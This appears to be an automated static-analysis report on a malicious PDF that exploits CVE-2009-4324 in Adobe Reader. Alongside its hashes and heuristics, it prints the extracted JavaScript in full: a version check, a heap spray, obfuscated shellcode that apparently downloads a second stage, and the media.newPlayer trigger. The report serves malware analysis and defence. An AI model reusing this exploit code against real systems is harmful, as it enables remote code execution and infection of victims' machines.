Malicious PDF — malware analysis report

Static analysis result for SHA-256 4ec0a06912d8ad50…

MALICIOUS

PDF

1.4 KB First seen: 2026-05-10
MD5: 896b737bf665e3e67c1769394986281f SHA-1: 927d700cb12ee183b96fb6985366065ff6bf6e64 SHA-256: 4ec0a06912d8ad50b479e8617b3f1ee70524a9c93e415ef93516aad0c164c1e1
208 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution T1059.007 Command and Scripting Interpreter: JavaScript

This PDF file contains embedded JavaScript, which is obfuscated and uses the unescape function. The critical heuristic firing indicates exploitation of CVE-2009-4324 via the media.newPlayer object, likely to execute the embedded JavaScript. The JavaScript is designed to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (matched in decompressed stream)
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    return unescape(etxvizy);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
🗂 Part of campaign: shared payload 8b50be2df1 3 samples

Related samples 2

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111711_000.js pdf-javascript-stream PDF /JS object 111711 at offset 0x160 1231 bytes
SHA-256: 8b50be2df1eb8d362314afb2b0be0b867953986946aff5a5688379a175744075
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function doizx(etxvizy)
{
return unescape(etxvizy);
}
function avdoxs1()
{
var hohlj2='p@111111111111111111111111 : yyyy111';
util.printd(hohlj2, new Date());
}

var eokvdqe = app.plugIns;

for (var claodq=0; claodq < eokvdqe.length; claodq++)
	{
		if (eokvdqe[claodq].name=='EScript'){var kwcudo=eokvdqe[claodq].version;}
	}

if ((kwcudo>9)&&(kwcudo<9.3))
	{
		var kwdrj=1400;
	}
else if((kwcudo>8.12)&&(kwcudo<8.2))
	{
		var kwdrj=2900;
	}
else
	{
	}
cudpama=new Array();
var arblg = 'ARG9090ARG9090'.replace(/ARG/igm,'%u');
var jpknjue = 'Z54EBZ758BZ8B3CZ3574ZX378Z56F5Z768BZX32XZ33F5Z49C9ZAD41ZDB33ZXF36Z14BEZ3828Z74F2ZC1X8ZXDCBZDAX3ZEB4XZ3BEFZ75DFZ5EE7Z5E8BZX324Z66DDZXC8BZ8B4BZ1C5EZDDX3ZX48BZX38BZC3C5Z7275Z6D6CZ6E6FZ642EZ6C6CZ43XXZ5C3AZ2E55Z7865ZXX65ZCX33ZX364Z3X4XZXC78Z4X8BZ8BXCZ1C7XZ8BADZX84XZX9EBZ4X8BZ8D34Z7C4XZ4X8BZ953CZ8EBFZXE4EZE8ECZFF84ZFFFFZEC83Z83X4Z242CZFF3CZ95DXZBF5XZ1A36Z7X2FZ6FE8ZFFFFZ8BFFZ2454Z8DFCZBA52ZDB33Z5353ZEB52Z5324ZDXFFZBF5DZFE98ZXE8AZ53E8ZFFFFZ83FFZX4ECZ2C83Z6224ZDXFFZ7EBFZE2D8ZE873ZFF4XZFFFFZFF52ZE8DXZFFD7ZFFFFZ7468Z7X74Z2F3AZ732FZ6D6FZ2E65Z6F63Z2F6DZ2E6CZ687XZ3F7XZ3D69Z3631'.replace(/Z/igm,'%u').replace(/X/igm,'0');
arblg=doizx(arblg);
jpknjue=doizx(jpknjue);
javascript_obj111712_001.js pdf-javascript-stream PDF /JS object 111712 at offset 0x478 252 bytes
SHA-256: d3ca6936764ab0389e9037866e489dd11fc805a74234d424db87054aa194f047
Preview script
First 1,000 lines of the extracted script
while(arblg.length <= 0x8000){arblg+=arblg;}
arblg=arblg.substr(0,0x8000 - jpknjue.length);
for(claodq=0;claodq<kwdrj;claodq++) {cudpama[claodq]=arblg + jpknjue;}
if(kwdrj){avdoxs1();avdoxs1();try {this.media.newPlayer(null);} catch(e) {}avdoxs1();}
combined_document_js_000.js deobfuscated-js combined document JavaScript streams at offset 0x160 1484 bytes
SHA-256: bf0383d6a18e0ced55e6c7bdc5d0d7b09b302a56e05bcc4072bccb74a6af1cd7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function doizx(etxvizy)
{
return unescape(etxvizy);
}
function avdoxs1()
{
var hohlj2='p@111111111111111111111111 : yyyy111';
util.printd(hohlj2, new Date());
}

var eokvdqe = app.plugIns;

for (var claodq=0; claodq < eokvdqe.length; claodq++)
	{
		if (eokvdqe[claodq].name=='EScript'){var kwcudo=eokvdqe[claodq].version;}
	}

if ((kwcudo>9)&&(kwcudo<9.3))
	{
		var kwdrj=1400;
	}
else if((kwcudo>8.12)&&(kwcudo<8.2))
	{
		var kwdrj=2900;
	}
else
	{
	}
cudpama=new Array();
var arblg = 'ARG9090ARG9090'.replace(/ARG/igm,'%u');
var jpknjue = 'Z54EBZ758BZ8B3CZ3574ZX378Z56F5Z768BZX32XZ33F5Z49C9ZAD41ZDB33ZXF36Z14BEZ3828Z74F2ZC1X8ZXDCBZDAX3ZEB4XZ3BEFZ75DFZ5EE7Z5E8BZX324Z66DDZXC8BZ8B4BZ1C5EZDDX3ZX48BZX38BZC3C5Z7275Z6D6CZ6E6FZ642EZ6C6CZ43XXZ5C3AZ2E55Z7865ZXX65ZCX33ZX364Z3X4XZXC78Z4X8BZ8BXCZ1C7XZ8BADZX84XZX9EBZ4X8BZ8D34Z7C4XZ4X8BZ953CZ8EBFZXE4EZE8ECZFF84ZFFFFZEC83Z83X4Z242CZFF3CZ95DXZBF5XZ1A36Z7X2FZ6FE8ZFFFFZ8BFFZ2454Z8DFCZBA52ZDB33Z5353ZEB52Z5324ZDXFFZBF5DZFE98ZXE8AZ53E8ZFFFFZ83FFZX4ECZ2C83Z6224ZDXFFZ7EBFZE2D8ZE873ZFF4XZFFFFZFF52ZE8DXZFFD7ZFFFFZ7468Z7X74Z2F3AZ732FZ6D6FZ2E65Z6F63Z2F6DZ2E6CZ687XZ3F7XZ3D69Z3631'.replace(/Z/igm,'%u').replace(/X/igm,'0');
arblg=doizx(arblg);
jpknjue=doizx(jpknjue);
while(arblg.length <= 0x8000){arblg+=arblg;}
arblg=arblg.substr(0,0x8000 - jpknjue.length);
for(claodq=0;claodq<kwdrj;claodq++) {cudpama[claodq]=arblg + jpknjue;}
if(kwdrj){avdoxs1();avdoxs1();try {this.media.newPlayer(null);} catch(e) {}avdoxs1();}

Open this report in the interactive analyzer, or submit your own file for analysis.